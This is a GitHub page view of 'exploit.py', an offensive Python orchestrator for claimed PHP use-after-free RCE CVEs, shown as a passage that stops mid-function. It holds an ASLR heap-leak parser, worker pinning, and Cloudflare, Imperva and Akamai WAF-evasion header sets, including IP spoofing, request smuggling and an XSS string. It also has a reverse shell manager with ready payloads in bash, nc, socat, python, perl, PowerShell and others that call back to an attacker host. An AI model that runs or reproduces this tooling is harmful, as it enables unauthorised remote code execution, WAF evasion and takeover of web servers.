Repository navigation
Expand file tree
/
Copy pathexploit.py
More file actions
2663 lines (2288 loc) · 104 KB
/
Copy pathexploit.py
File metadata and controls
2663 lines (2288 loc) · 104 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell Unified Exploit Orchestrator
======================================
Author: TESTERXMA
CVEs: CVE-2026-109618, CVE-2026-109619 (php2shell) + CVE-2026-111497 (Node2Shell reference)
Complete feature set:
- CVE-2026-109618/619: php2shell session.upload_progress UAF RCE
- Cloudflare WAF Bypass (header obfuscation, chunked encoding, etc.)
- ASLR Bypass (from php2shell-bypass-aslr-exp / 9bie):
* Worker Pinning (149 holders for 150 workers)
* Chunked Encoding Bypass (post_max_size bypass)
* B1 Heap Leak (stale-id OOB read via Set-Cookie)
* ASLR Leak Analysis with offset profiles (x86_64/aarch64)
* Leak Spec generation for B1
* Main Chunk Detection (MAIN_BUCKET_COUNT=87)
* Offset Profiles (x86_64/aarch64)
- Reverse Shell Connection Manager (auto-listener, TTY upgrade, multi-shell)
- Cloudflare WAF Bypass (header obfuscation, chunked encoding, etc.)
- Custom Target Support (URL, host/port/path, batch files)
- Multi-target batch scanning
- Advanced fingerprinting & WAF detection
- Flexible output formats (JSON, CSV, table)
- Resume/interrupt capability
- Lab automation (Docker restart)
- Reverse shell connection manager (auto-listener, TTY upgrade, multi-shell)
Original: One-shot pure-HTTP exploit for php:8.4.26-apache
ASLR Bypass Source: php2shell-bypass-aslr-exp by 9bie
"""
from __future__ import annotations
import argparse
import csv
import json
import os
import random
import re
import select
import signal
import socket
import struct
import subprocess
import sys
import tempfile
import termios
import time
import tty
import urllib.parse
import uuid
from collections import Counter
from dataclasses import asdict, dataclass, field
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
from php2shell_core import (
BOUNDARY_619,
CVE_IDS,
DEFAULT_BOUNDARY_TRIGGER,
DEFAULT_PROGRESS_KEY,
DELTA_CALL_DEFAULT,
FILLUNIT,
FIX_VERSIONS,
FORGE_BLOB,
LAB_PROGRESS_PATH,
N149_SPRAY,
ParsedPhpVersion,
Target,
TriggerResult,
build_micro_trigger_multipart,
build_rce619_multipart,
build_session_injection_multipart,
build_trigger_multipart,
fingerprint_target,
forge_zend_call_record,
is_plausible_php_version,
is_vulnerable_php,
open_connection,
parse_http_status,
parse_php_version_detailed,
recv_http_response,
resolve_call_addr,
run_exploit_619,
run_session_injection_probe,
run_trigger_618,
run_trigger_micro,
send_all,
)
# ===================================================================================================================
# CONSTANTS & GLOBALS
# ===================================================================================================================
HERE = os.path.dirname(os.path.abspath(__file__))
R = HERE
PURE = os.path.join(HERE, "pure")
Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"
# ===================================================================================================================
# ASLR BYPASS CONSTANTS (from php2shell-bypass-aslr-exp / 9bie)
# ===================================================================================================================
LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"])
MAIN_BUCKET_COUNT = 87 # stable pointer count fingerprint for main chunk
PROFILES = {
"x86_64": {
"dtor_offset": 0x65EB60,
"zif_offset": 0x465370,
"ptr_max": 0x7FFFFFFFFFFF,
"delta_min": 0x1A00000,
"delta_max": 0x1F00000,
},
"aarch64": {
"dtor_offset": 0x63812B,
"zif_offset": 0x42CD70,
"ptr_max": 0xFFFFFFFFFFFF,
"delta_min": 0x1F00000,
"delta_max": 0x2300000,
},
}
BOUNDARY = b"C" * 10
DEFAULT_PROGRESS_KEY = "shellflow_poc"
LAB_PROGRESS_PATH = "/check_progress.php"
# ===================================================================================================================
# ASLR BYPASS MODULE (from php2shell-bypass-aslr-exp / 9bie)
# ===================================================================================================================
@dataclass
class ASLRBypassConfig:
"""Configuration for ASLR bypass techniques."""
enabled: bool = True
worker_pinning: bool = True
chunked_encoding: bool = True
leak_analysis: bool = True
worker_count: int = 150
leak_retries: int = 3
delta_validation: bool = True
def parse_leak(resp: bytes, profile=None):
"""
Parse leak response from Set-Cookie header.
Extracts heap pointers and identifies libphp base + main chunk base.
Based on php2shell-bypass-aslr-exp/pure/mk_leak_b.py parse_leak logic.
"""
i = resp.find(b"Set-Cookie: PHPSESSID=")
if i < 0:
raise RuntimeError("no Set-Cookie in leak response (%d bytes)" % len(resp))
val = resp[i + len("Set-Cookie: PHPSESSID="):].split(b"\r\n")[0]
dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
counts = Counter()
ptr_max = profile["ptr_max"] if profile is not None else 0xFFFFFFFFFFFF
for off in range(0, len(dec) - 8, 8):
q = struct.unpack_from("<Q", dec, off)[0]
if 0x7F0000000000 <= q <= ptr_max:
counts[q] += 1
if not counts:
raise RuntimeError("no heap pointers in leak window")
zdtor, n = counts.most_common(1)[0]
if profile is None:
arch = "aarch64" if zdtor > 0x7FFFFFFFFFFF else "x86_64"
profile = PROFILES[arch]
else:
arch = next((name for name, prof in PROFILES.items() if prof is profile), "unknown")
if profile["ptr_max"] != 0xFFFFFFFFFFFF:
counts = Counter({q: c for q, c in counts.items() if q <= profile["ptr_max"]})
lib = zdtor - profile["dtor_offset"]
buckets = Counter()
bucket_first = {}
for q, c in counts.items():
b = q & ~0x1FFFFF # 2MiB alignment
buckets[b] += c
bucket_first.setdefault(b, q)
# drop libphp bucket and dominant id-chunk bucket
lib_bucket = zdtor & ~0x1FFFFF
id_bucket = buckets.most_common(1)[0][0]
cands = [(b, c) for b, c in buckets.most_common() if b not in (lib_bucket, id_bucket)]
# prefer bucket matching MAIN_BUCKET_COUNT fingerprint
cands.sort(key=lambda bc: (abs(bc[1] - MAIN_BUCKET_COUNT), bc[1]))
return {
"decoded": len(dec),
"arch": arch,
"profile": profile,
"zdtor": zdtor,
"lib": lib,
"buckets": buckets,
"main_candidates": [b for b, c in cands[:3]],
"cand_counts": {b: c for b, c in cands[:3]},
}
def hold_workers(port: int, workers: int):
"""
Worker Pinning (ASLR Bypass Technique)
Holds workers-1 Apache children with incomplete POST bodies.
Forces all exploit requests to the same child process.
Based on php2shell-bypass-aslr-exp/exploit.py hold_workers().
"""
holders = []
if workers <= 1:
return holders
n = workers - 1
for i in range(n):
try:
s = socket.create_connection(("127.0.0.1", port), timeout=5)
s.sendall(b"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: 1048576\r\n\r\nx")
holders.append(s)
except OSError as exc:
print(" holder %d/%d failed: %r" % (i + 1, n, exc))
break
time.sleep(0.01)
time.sleep(0.8)
print(" pinned %d/%d workers (%d holders)" % (len(holders) + 1, workers, len(holders)))
return holders
def build_leak_spec():
"""Generate LEAK_SPEC for B1 leak (from php2shell-bypass-aslr-exp)."""
return LEAK_SPEC
def send_chunked(port: int, path: str, body_file: str, timeout: float, save: str = "") -> bytes:
"""Send chunked request (bypasses post_max_size)."""
cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
"--port", str(port), "--body-file", body_file,
"--path", path, "--timeout", str(timeout)]
if save:
cmd += ["--save-response", save]
subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
return open(save, "rb").read() if save else b""
# ===================================================================================================================
# CLOUDFLARE WAF BYPASS MODULE
# ===================================================================================================================
@dataclass
class WAFProfile:
"""Cloudflare/WAF detection and bypass profile."""
name: str
detected: bool = False
challenge_type: str = "none" # none, js_challenge, managed_challenge, block
bypass_headers: dict[str, str] = field(default_factory=dict)
request_modifiers: list[str] = field(default_factory=list)
confidence: float = 0.0
def to_dict(self) -> dict[str, Any]:
return asdict(self)
class CloudflareBypass:
"""
Cloudflare WAF evasion techniques for PHP exploit delivery.
Techniques:
1. Header obfuscation (X-Forwarded-For, CF-Connecting-IP spoofing)
2. Request fragmentation (chunked encoding, slowloris-style)
3. Parameter pollution (duplicate headers, case variation)
4. Encoding bypass (URL encoding, double encoding, Unicode)
5. HTTP method override (X-HTTP-Method-Override)
6. Cookie manipulation (session fixation bypass)
"""
CF_PATTERNS = {
"js_challenge": [
r"__cf_chl_jschl_tk__",
r"cf-browser-verification",
r"challenge-form",
r"cf_challenge_enter",
],
"managed_challenge": [
r"cf-mitigated",
r"cf-ray.*challenge",
r"turnstile",
r"cf-challenge",
],
"block": [
r"access denied",
r"cloudflare.*blocked",
r"ray id:.*blocked",
r"cloudflare-waf",
r"please enable cookies",
],
"waf_present": [
r"cloudflare",
r"cf-ray",
r"cf-cache-status",
r"cf-request-id",
r"cf-challenge",
r"x-powered-by.*cloudflare",
r"__cf_",
],
}
BYPASS_HEADERS = {
"spoof_origin": {
"X-Forwarded-For": "127.0.0.1",
"X-Real-IP": "127.0.0.1",
"CF-Connecting-IP": "127.0.0.1",
"X-Originating-IP": "127.0.0.1",
"X-Remote-IP": "127.0.0.1",
"X-Client-IP": "127.0.0.1",
},
"cdn_bypass": {
"X-Forwarded-Proto": "https",
"X-Forwarded-Host": "localhost",
"X-Host": "localhost",
"Forwarded": "for=127.0.0.1;proto=https;host=localhost",
},
"method_override": {
"X-HTTP-Method-Override": "POST",
"X-Method-Override": "POST",
"X-Original-Method": "POST",
},
"cache_bypass": {
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"Expires": "0",
},
}
# Imperva/Incapsula WAF Bypass Headers
IMPERVA_BYPASS_HEADERS = {
"cookie_overflow": {
"Cookie": "A" * 4096, # Cookie jar overflow
},
"parameter_pollution": {
"X-Forwarded-For": "127.0.0.1, 10.0.0.1",
"X-Real-IP": "127.0.0.1, 10.0.0.1",
},
"header_case_variation": {
"X-Forwarded-For": "127.0.0.1",
"x-forwarded-for": "10.0.0.1",
"X-Real-IP": "127.0.0.1",
},
"encoding_bypass": {
"Content-Type": "application/x-www-form-urlencoded; charset=ibm500",
},
"http_smuggling": {
"Transfer-Encoding": "chunked",
"Content-Length": "0",
},
"reese84_bypass": {
"Cookie": "reese84=1; Path=/; Domain=.example.com",
},
}
# Akamai WAF Bypass Headers
AKAMAI_BYPASS_HEADERS = {
"case_toggling": {
"AcCePt-EnCoDiNg": "gzip, deflate",
"X-FoRwArDeD-FoR": "127.0.0.1",
},
"url_encoding": {
"X-Forwarded-For": "%31%32%37%2E%30%2E%30%2E%31",
},
"unicode_normalization": {
"X-Forwarded-For": "\u0031\u0032\u0037\u002E\u0030\u002E\u0030\u002E\u0031",
},
"parameter_pollution": {
"param": "value",
"param": "malicious",
},
"unicode_xss": {
"X-Forwarded-For": "\u003cscript\u003ealert(1)\u003c/script\u003e",
},
"http_param_pollution": {
"param": ["value1", "value2"],
},
}
def __init__(self, verbose: bool = False):
self.verbose = verbose
self.profile = WAFProfile(name="unknown")
def detect_waf(self, target: Target, timeout: float = 10.0) -> WAFProfile:
"""Detect Cloudflare/WAF presence and challenge type."""
try:
code, body, headers = self._send_probe(target, timeout)
except Exception as e:
if self.verbose:
print(f" [WAF] Probe failed: {e}")
return self.profile
body_lower = body.decode("latin-1", "replace").lower()
headers_lower = {k.lower(): v.lower() for k, v in headers.items()}
cf_score = 0
for pattern in self.CF_PATTERNS["waf_present"]:
for hdr_val in headers_lower.values():
if re.search(pattern, hdr_val, re.I):
cf_score += 25
break
if cf_score > 0:
self.profile.detected = True
self.profile.name = "cloudflare"
# Check for Imperva
imperva_score = 0
for pattern in [r"imperva", r"incapsula", r"reese84"]:
for hdr_val in headers_lower.values():
if re.search(pattern, hdr_val, re.I):
imperva_score += 25
break
for pattern in [r"incapsula", r"reese84"]:
if re.search(pattern, body_lower, re.I):
imperva_score += 25
break
if imperva_score > 0 and cf_score == 0:
self.profile.detected = True
self.profile.name = "imperva"
# Check for Akamai
akamai_score = 0
for pattern in [r"akamai", r"akamai-edge"]:
for hdr_val in headers_lower.values():
if re.search(pattern, hdr_val, re.I):
akamai_score += 25
break
for pattern in [r"akamai"]:
if re.search(pattern, body_lower, re.I):
akamai_score += 25
break
if akamai_score > 0 and cf_score == 0 and imperva_score == 0:
self.profile.detected = True
self.profile.name = "akamai"
# Check challenge type for Cloudflare
for chal_type, patterns in self.CF_PATTERNS.items():
if chal_type == "waf_present":
continue
for pattern in patterns:
if re.search(pattern, body_lower, re.I) or any(
re.search(pattern, v, re.I) for v in headers_lower.values()
):
self.profile.challenge_type = chal_type
cf_score += 30
break
# Add Imperva/Akamai challenge types
if imperva_score > 0:
self.profile.challenge_type = "imperva_challenge"
elif akamai_score > 0:
self.profile.challenge_type = "akamai_challenge"
self.profile.confidence = min(100.0, cf_score + imperva_score + akamai_score)
if self.profile.detected:
self.profile.bypass_headers = self._generate_bypass_headers()
self.profile.request_modifiers = self._get_request_modifiers()
if self.verbose:
print(f" [WAF] Detected: {self.profile.name} | Challenge: {self.profile.challenge_type} | Confidence: {self.profile.confidence:.0f}%")
return self.profile
def _send_probe(self, target: Target, timeout: float) -> tuple[int, bytes, dict[str, str]]:
req = (
f"GET {target.path} HTTP/1.1\r\n"
f"Host: {target.host}\r\n"
f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"
f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
f"Accept-Language: en-US,en;q=0.5\r\n"
f"Accept-Encoding: gzip, deflate\r\n"
f"Connection: close\r\n\r\n"
).encode()
sock = open_connection(target, timeout=timeout)
try:
send_all(sock, req)
raw = recv_http_response(sock, timeout=timeout)
finally:
try:
sock.close()
except Exception:
pass
return parse_http_status(raw)
def _generate_bypass_headers(self) -> dict[str, str]:
headers = {}
for category in self.BYPASS_HEADERS.values():
headers.update(category)
# Add Imperva bypass headers if Imperva detected
if self.profile.name == "imperva":
for category in self.IMPERVA_BYPASS_HEADERS.values():
headers.update(category)
# Add Akamai bypass headers if Akamai detected
if self.profile.name == "akamai":
for category in self.AKAMAI_BYPASS_HEADERS.values():
headers.update(category)
return headers
def _get_request_modifiers(self) -> list[str]:
modifiers = [
"chunked_encoding",
"parameter_pollution",
"header_case_variation",
"url_double_encoding",
"unicode_normalization",
"slow_fragmentation",
]
# Add Imperva/Akamai specific modifiers if detected
if self.profile.name == "imperva":
modifiers.extend(["imperva_cookie_overflow", "imperva_param_pollution", "imperva_reese84_bypass"])
elif self.profile.name == "akamai":
modifiers.extend(["akamai_case_toggling", "akamai_url_encoding", "akamai_unicode_normalization", "akamai_param_pollution"])
return modifiers
def apply_bypass(self, request: bytes, technique: str = "auto") -> bytes:
if technique == "auto":
technique = self.profile.request_modifiers[0] if self.profile.request_modifiers else "chunked_encoding"
if technique == "chunked_encoding":
return self._apply_chunked_encoding(request)
elif technique == "parameter_pollution":
return self._apply_parameter_pollution(request)
elif technique == "header_case_variation":
return self._apply_header_case_variation(request)
elif technique == "slow_fragmentation":
return self._apply_slow_fragmentation(request)
elif technique == "imperva_cookie_overflow":
return self._apply_imperva_cookie_overflow(request)
elif technique == "imperva_param_pollution":
return self._apply_imperva_param_pollution(request)
elif technique == "imperva_reese84_bypass":
return self._apply_imperva_reese84_bypass(request)
elif technique == "akamai_case_toggling":
return self._apply_akamai_case_toggling(request)
elif technique == "akamai_url_encoding":
return self._apply_akamai_url_encoding(request)
elif technique == "akamai_unicode_normalization":
return self._apply_akamai_unicode_normalization(request)
elif technique == "akamai_param_pollution":
return self._apply_akamai_param_pollution(request)
return request
def _apply_chunked_encoding(self, request: bytes) -> bytes:
if b"Content-Length:" not in request:
return request
parts = request.split(b"\r\n\r\n", 1)
if len(parts) != 2:
return request
headers, body = parts
new_headers = []
for line in headers.split(b"\r\n"):
if not line.lower().startswith(b"content-length:"):
new_headers.append(line)
new_headers.append(b"Transfer-Encoding: chunked")
chunked_body = self._chunk_body(body)
return b"\r\n".join(new_headers) + b"\r\n\r\n" + chunked_body
def _chunk_body(self, body: bytes) -> bytes:
chunks = []
chunk_size = 8192
for i in range(0, len(body), chunk_size):
chunk = body[i:i + chunk_size]
chunks.append(f"{len(chunk):X}\r\n".encode() + chunk + b"\r\n")
chunks.append(b"0\r\n\r\n")
return b"".join(chunks)
def _apply_parameter_pollution(self, request: bytes) -> bytes:
headers_end = request.find(b"\r\n\r\n")
if headers_end == -1:
return request
headers = request[:headers_end]
body = request[headers_end:]
pollution = [
b"X-Forwarded-For: 127.0.0.1",
b"x-forwarded-for: 10.0.0.1",
b"X-Forwarded-For: 192.168.1.1",
]
new_headers = headers + b"\r\n" + b"\r\n".join(pollution)
return new_headers + b"\r\n\r\n" + body
def _apply_header_case_variation(self, request: bytes) -> bytes:
headers_end = request.find(b"\r\n\r\n")
if headers_end == -1:
return request
headers = request[:headers_end]
body = request[headers_end:]
lines = headers.split(b"\r\n")
varied = []
for line in lines:
if b":" in line:
key, val = line.split(b":", 1)
new_key = b"".join(
c.upper() if random.random() > 0.5 else c.lower()
for c in key
)
varied.append(new_key + b":" + val)
else:
varied.append(line)
return b"\r\n".join(varied) + b"\r\n\r\n" + body
def _apply_slow_fragmentation(self, request: bytes) -> bytes:
return request
# ===================================================================================================================
# REVERSE SHELL / CONNECTION MANAGER
# ===================================================================================================================
@dataclass
class ReverseShellConfig:
"""Configuration for reverse shell connection."""
enabled: bool = False
lhost: str = "0.0.0.0"
lport: int = 4444
shell_type: str = "auto"
terminal: str = "auto"
listener_timeout: int = 30
auto_interact: bool = True
payload_template: str = ""
class ReverseShellManager:
"""Manages reverse shell payloads, listeners, and connections."""
PAYLOADS = {
"bash": 'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
"bash_readline": 'exec 5<>/dev/tcp/{lhost}/{lport}; cat <&5 | while read line; do $line 2>&5 >&5; done',
"bash_coprocess": 'coproc bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
"python3": (
'python3 -c "import socket,subprocess,os;'
's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
's.connect(("{lhost}",{lport}));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
'subprocess.call(["/bin/bash","-i"])"'
),
"python3_short": (
'python3 -c "import os,pty,socket;s=socket.socket();'
's.connect(("{lhost}",{lport}));'
'[os.dup2(s.fileno(),f) for f in(0,1,2)];'
'pty.spawn("/bin/bash")"'
),
"python": (
'python -c "import socket,subprocess,os;'
's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
's.connect(("{lhost}",{lport}));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
'subprocess.call(["/bin/bash","-i"])"'
),
"php": (
'php -r "$sock=fsockopen(\"{lhost}\",{lport});'
'exec(\"/bin/bash -i <&3 >&3 2>&3\");"'
),
"php_exec": (
'php -r "$sock=fsockopen(\"{lhost}\",{lport});'
'$proc=proc_open("/bin/bash -i", array(0=>$sock,1=>$sock,2=>$sock),$pipes);"'
),
"perl": (
'perl -e "use Socket;$i=\"{lhost}\";$p={lport};'
'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
'if(connect(S,sockaddr_in($p,inet_aton($i)))){{'
'open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");'
'exec(\"/bin/bash -i\");}}"'
),
"perl_short": (
'perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,\"{lhost}:{lport}\");'
'STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"'
),
"nc": 'nc -e /bin/bash {lhost} {lport}',
"nc_openbsd": 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f',
"nc_mkfifo": 'mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | nc {lhost} {lport} > /tmp/s',
"ncat": 'ncat {lhost} {lport} -e /bin/bash',
"socat": 'socat TCP:{lhost}:{lport} EXEC:"bash -i",pty,stderr,setsid,sigint,sane',
"socat_pty": 'socat TCP:{lhost}:{lport} SYSTEM:"bash -i",pty,stderr,setsid,sigint,sane',
"socat_openssl": 'socat OPENSSL:{lhost}:{lport},verify=0 EXEC:"bash -i",pty,stderr,setsid,sigint,sane',
"socat_openssl_pty": 'socat OPENSSL:{lhost}:{lport},verify=0 SYSTEM:"bash -i",pty,stderr,setsid,sigint,sane',
"socat_openssl_bind": 'socat OPENSSL-LISTEN:{lport},cert=shell.pem,key=key.pem,verify=0,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane',
"powershell": (
'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});'
'$stream = $client.GetStream();'
'[byte[]]$bytes = 0..65535|%{{0}};'
'while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{'
'$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);'
'$sendback = (iex $data 2>&1 | Out-String);'
'$sendback2 = $sendback + "PS " + (pwd).Path + "> ";'
'$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);'
'$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}'
),
"powershell_short": (
'powershell -nop -c "$c=New-Object Net.Sockets.TCPClient(\"{lhost}\",{lport});'
'$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};'
'while(($i=$s.Read($b,0,$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);'
'$sb=(iex $d 2>&1|Out-String);$sb2=$sb+"PS "+(pwd).Path+"> ";'
'$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()}}"'
),
"ruby": (
'ruby -rsocket -e "exit if fork;c=TCPSocket.new(\"{lhost}\",{lport});'
'while(cmd=c.gets);IO.popen(cmd,\"r\"){{|io|c.print io.read}}end"'
),
"lua": (
'lua -e "local socket=require(\"socket\");local s=socket.tcp();'
's:connect("{lhost}",{lport});'
'local f=io.popen("/bin/bash -i","r");'
'while true do local l=f:read("*l");if l then s:send(l.."\\n") end end"'
),
"go": (
'echo \'package main;import("net";"os/exec";"bufio");func main(){{c,_:=net.Dial("tcp","{lhost}:{lport}");'
'c.Write([]byte("connected\\n"));r:=bufio.NewReader(c);'
'for{{l,_:=r.ReadString(\'\\n\');if len(l)>0{{c:=exec.Command("/bin/bash","-c",l);o,_:=c.CombinedOutput();c.Write(o)}}}}\' > /tmp/shell.go && go run /tmp/shell.go'
),
"awk": (
'awk \'BEGIN{{s="/inet/tcp/0/{lhost}/{lport}";while(1){{printf "shell> "|&s;s|&getline c;if(c){{system(c);print "done"|&s}}close(s)}}\''
),
}
TERMINALS = {
"gnome-terminal": ["gnome-terminal", "--", "bash", "-c"],
"xterm": ["xterm", "-e", "bash", "-c"],
"konsole": ["konsole", "-e", "bash", "-c"],
"xfce4-terminal": ["xfce4-terminal", "--", "bash", "-c"],
"mate-terminal": ["mate-terminal", "--", "bash", "-c"],
"terminator": ["terminator", "-e", "bash", "-c"],
"tilix": ["tilix", "--", "bash", "-c"],
"alacritty": ["alacritty", "-e", "bash", "-c"],
"kitty": ["kitty", "bash", "-c"],
"tmux": ["tmux", "new-session", "-d", "-s", "revshell", "bash", "-c"],
"screen": ["screen", "-dmS", "revshell", "bash", "-c"],
"background": ["bash", "-c"],
}
def __init__(self, config: ReverseShellConfig, verbose: bool = False):
self.config = config
self.verbose = verbose
self.listener_process: subprocess.Popen | None = None
self.terminal_process: subprocess.Popen | None = None
self.connection: socket.socket | None = None
self._setup_complete = False
def detect_best_shell(self) -> str:
return "bash"
def detect_best_terminal(self) -> str:
for term in ["gnome-terminal", "xterm", "konsole", "xfce4-terminal", "tmux", "screen"]:
if self._which(term):
return term
return "background"
def _which(self, cmd: str) -> bool:
return subprocess.run(["which", cmd], capture_output=True).returncode == 0
def generate_payload(self, shell_type: str | None = None) -> str:
stype = shell_type or self.config.shell_type
if stype == "auto":
stype = "bash"
if stype not in self.PAYLOADS:
if self.verbose:
print(f" [!] Unknown shell type '{stype}', falling back to bash")
stype = "bash"
template = self.config.payload_template or self.PAYLOADS[stype]
return template.format(lhost=self.config.lhost, lport=self.config.lport)
def list_available_shells(self) -> list[str]:
return list(self.PAYLOADS.keys())
def start_listener(self) -> bool:
listener_cmd = ["nc", "-lvnp", str(self.config.lport)]
if self.config.terminal == "auto":
term = self.detect_best_terminal()
else:
term = self.config.terminal
if term not in self.TERMINALS:
if self.verbose:
print(f" [!] Unknown terminal '{term}', using background")
term = "background"
launcher = self.TERMINALS[term]
if self.verbose:
print(f" [+] Starting listener on {self.config.lhost}:{self.config.lport} via {term}")
try:
if term == "background":
log_file = tempfile.NamedTemporaryFile(prefix="nc_listener_", suffix=".log", delete=False)
log_path = log_file.name
log_file.close()
self.listener_process = subprocess.Popen(
listener_cmd,
stdout=open(log_path, "w"),
stderr=subprocess.STDOUT,
start_new_session=True,
)
self.config.listener_log = log_path
if self.verbose:
print(f" Listener PID: {self.listener_process.pid}, log: {log_path}")
else:
full_cmd = launcher + [" ".join(listener_cmd) + "; exec bash"]
self.terminal_process = subprocess.Popen(
full_cmd,
start_new_session=True,
)
if self.verbose:
print(f" Terminal PID: {self.terminal_process.pid}")
time.sleep(1.5)
self._setup_complete = True
return True
except Exception as e:
print(f" [-] Failed to start listener: {e}")
return False
def wait_for_connection(self, timeout: int | None = None) -> socket.socket | None:
timeout = timeout or self.config.listener_timeout
deadline = time.time() + timeout
if self.verbose:
print(f" [+] Waiting for connection on port {self.config.lport} (timeout: {timeout}s)")
while time.time() < deadline:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1.0)
sock.bind((self.config.lhost, self.config.lport))
sock.listen(1)
if self.verbose:
print(f" Listening on {self.config.lhost}:{self.config.lport}...")
sock.settimeout(timeout)
conn, addr = sock.accept()
sock.close()
if self.verbose:
print(f" [+] Connection from {addr[0]}:{addr[1]}")
